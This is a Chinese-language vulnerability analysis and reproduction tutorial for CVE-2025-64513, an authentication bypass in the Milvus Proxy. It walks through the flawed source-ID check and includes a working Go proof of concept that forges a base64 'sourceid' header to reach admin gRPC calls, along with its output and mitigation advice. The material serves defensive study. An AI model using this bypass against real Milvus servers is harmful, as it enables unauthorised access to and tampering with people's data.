【CVE-2025-64513】Milvus Proxy 认证绕过漏洞分析复现
字数 1559 2025-11-24 12:08:21
CVE-2025-64513 Milvus Proxy认证绕过漏洞分析与复现教学文档
一、漏洞概述
1.1 漏洞基本信息
- 漏洞编号:CVE-2025-64513
- 漏洞类型:认证绕过漏洞
- 威胁等级:高危
- 影响组件:Milvus Proxy组件
1.2 漏洞背景
Milvus是面向生成式AI场景的开源向量数据库。在受影响版本中,Proxy组件存在认证逻辑缺陷,攻击者可通过伪造特定HTTP头部绕过认证机制,获得管理级访问权限。
二、影响范围
2.1 受影响版本
以下Milvus版本均受到此漏洞影响:
- Milvus [2.4.0, 2.4.24)
- Milvus [2.5.0, 2.5.21)
- Milvus [2.6.0, 2.6.5)
2.2 修复版本
建议用户升级至以下修复版本:
- 2.4.24及以上版本
- 2.5.21及以上版本
- 2.6.5及以上版本
三、漏洞技术分析
3.1 漏洞原理
3.1.1 认证逻辑缺陷
漏洞核心在于validSourceID函数的实现逻辑存在缺陷:
func validSourceID(ctx context.Context, authorization []string) bool {
if len(authorization) < 1 {
return false
}
token := authorization[0]
sourceID, err := crypto.Base64Decode(token)
if err != nil {
return false
}
return sourceID == util.MemberCredID // 固定值"@@milvus-member@@"
}
3.1.2 鉴权流程缺陷
在AuthenticationInterceptor中的关键判断逻辑:
if Params.CommonCfg.AuthorizationEnabled.GetAsBool() {
if !validSourceID(ctx, md[strings.ToLower(util.HeaderSourceID)]) {
// 执行正常用户鉴权(用户名密码/API Key)
}
}
漏洞触发条件:
- 当
validSourceID返回true时,系统将请求视为内部组件通信,直接跳过所有鉴权检查 - 攻击者只需伪造包含base64编码的
@@milvus-member@@值的sourceId头部即可绕过认证
3.2 修复方案分析
3.2.1 修复提交
官方修复commit:https://github.com/milvus-io/milvus/commit/e938bacf201319e843288537c03c7fe891e638ae
3.2.2 修复措施
- 移除了基于sourceId的认证绕过逻辑
- 所有请求必须通过正规的账号密码或API Key完成认证
- 强化了认证机制的完整性和安全性
四、环境搭建与复现
4.1 实验环境准备
4.1.1 系统要求
- Linux操作系统(推荐Ubuntu 18.04+)
- Docker环境
- Golang开发环境(用于编译POC)
4.1.2 部署受影响版本
- 拉取部署脚本:
curl -sfL https://raw.githubusercontent.com/milvus-io/milvus/master/scripts/standalone_embed.sh -o standalone_embed.sh
- 配置认证启用:
创建user.yaml配置文件:
common:
security:
authorizationEnabled: true
- 启动Milvus服务:
bash standalone_embed.sh start
4.2 漏洞验证POC
4.2.1 POC代码实现
package main
import (
"context"
"encoding/base64"
"flag"
"fmt"
"log"
"strings"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
"google.golang.org/grpc/metadata"
milvuspb "github.com/milvus-io/milvus-proto/go-api/v2/milvuspb"
)
const (
memberCred = "@@milvus-member@@"
sourceIDKey = "sourceid"
defaultAddr = "127.0.0.1:19530"
)
func main() {
addr := flag.String("addr", defaultAddr, "Milvus proxy gRPC address")
flag.Parse()
// 建立gRPC连接
conn, err := grpc.Dial(*addr, grpc.WithTransportCredentials(insecure.NewCredentials()))
if err != nil {
log.Fatalf("连接 Proxy 失败: %v", err)
}
defer conn.Close()
client := milvuspb.NewMilvusServiceClient(conn)
ctx := context.Background()
// 生成伪造的认证令牌
memberToken := base64.StdEncoding.EncodeToString([]byte(memberCred))
// 测试用例定义
testCases := []struct {
name string
call func(context.Context) (string, error)
}{
{
name: "获取版本信息",
call: func(c context.Context) (string, error) {
resp, err := client.GetVersion(c, &milvuspb.GetVersionRequest{})
if err != nil {
return "", err
}
return resp.GetVersion(), nil
},
},
{
name: "检查服务健康状态",
call: func(c context.Context) (string, error) {
resp, err := client.CheckHealth(c, &milvuspb.CheckHealthRequest{})
if err != nil {
return "", err
}
return fmt.Sprintf("healthy=%v reasons=%v",
resp.GetIsHealthy(),
strings.Join(resp.GetReasons(), ",")), nil
},
},
{
name: "列出所有数据库",
call: func(c context.Context) (string, error) {
resp, err := client.ListDatabases(c, &milvuspb.ListDatabasesRequest{})
if err != nil {
return "", err
}
return strings.Join(resp.GetDbNames(), ","), nil
},
},
}
// 执行测试用例
for _, testCase := range testCases {
log.Printf("=== 测试用例: %s ===", testCase.name)
// 测试未认证访问
log.Printf("[未认证] %s ...", testCase.name)
if result, err := testCase.call(ctx); err != nil {
log.Printf(" 预期失败: %v", err)
} else {
log.Printf(" 警告:未认证调用意外成功: %s", result)
}
// 测试认证绕过
log.Printf("[伪造 sourceId] %s ...", testCase.name)
bypassCtx := metadata.AppendToOutgoingContext(ctx, sourceIDKey, memberToken)
if result, err := testCase.call(bypassCtx); err != nil {
log.Fatalf(" 绕过失败: %v", err)
} else {
log.Printf(" 绕过成功,返回: %s", result)
}
log.Println()
}
}
4.2.2 POC执行步骤
-
保存POC代码为
CVE-2025-64513.go -
安装依赖:
go mod init cve-test
go get github.com/milvus-io/milvus-proto/go-api/v2/milvuspb
- 运行POC:
go run CVE-2025-64513.go
4.2.3 预期输出结果
=== 测试用例: 获取版本信息 ===
[未认证] 获取版本信息 ...
预期失败: rpc error: code = Unauthenticated desc = missing authorization in header
[伪造 sourceId] 获取版本信息 ...
绕过成功,返回: 2.6.4
=== 测试用例: 检查服务健康状态 ===
[未认证] 检查服务健康状态 ...
预期失败: rpc error: code = Unauthenticated desc = missing authorization in header
[伪造 sourceId] 检查服务健康状态 ...
绕过成功,返回: healthy=true reasons=
=== 测试用例: 列出所有数据库 ===
[未认证] 列出所有数据库 ...
预期失败: rpc error: code = Unauthenticated desc = missing authorization in header
[伪造 sourceId] 列出所有数据库 ...
绕过成功,返回: default
五、漏洞利用分析
5.1 攻击向量
- 攻击方式:gRAPI请求伪造
- 利用条件:能够访问Milvus Proxy的19530端口
- 所需信息:固定字符串
@@milvus-member@@的base64编码值
5.2 潜在危害
- 数据泄露:未授权访问数据库内容
- 数据篡改:恶意修改向量数据
- 服务中断:执行管理操作导致服务不可用
- 权限提升:获得系统管理权限
六、防护措施
6.1 紧急缓解方案
- 立即升级到修复版本
- 网络层面限制对19530端口的访问
- 启用防火墙规则,只允许可信IP访问Milvus服务
6.2 长期安全建议
- 定期更新Milvus到最新版本
- 实施网络分段,隔离数据库服务
- 启用审计日志,监控异常访问行为
- 使用强密码策略和API Key轮换机制
七、总结
CVE-2025-64513是一个典型的设计缺陷导致的认证绕过漏洞,其根本原因在于将可控的输入直接用于身份验证决策。通过本教学文档的分析和复现,可以深入理解:
- 认证机制的设计原则和常见陷阱
- gRPC服务的安全配置要点
- 漏洞挖掘和验证的方法论
该案例提醒开发者在设计安全机制时,需要遵循最小权限原则和纵深防御策略,避免单一控制点的安全风险。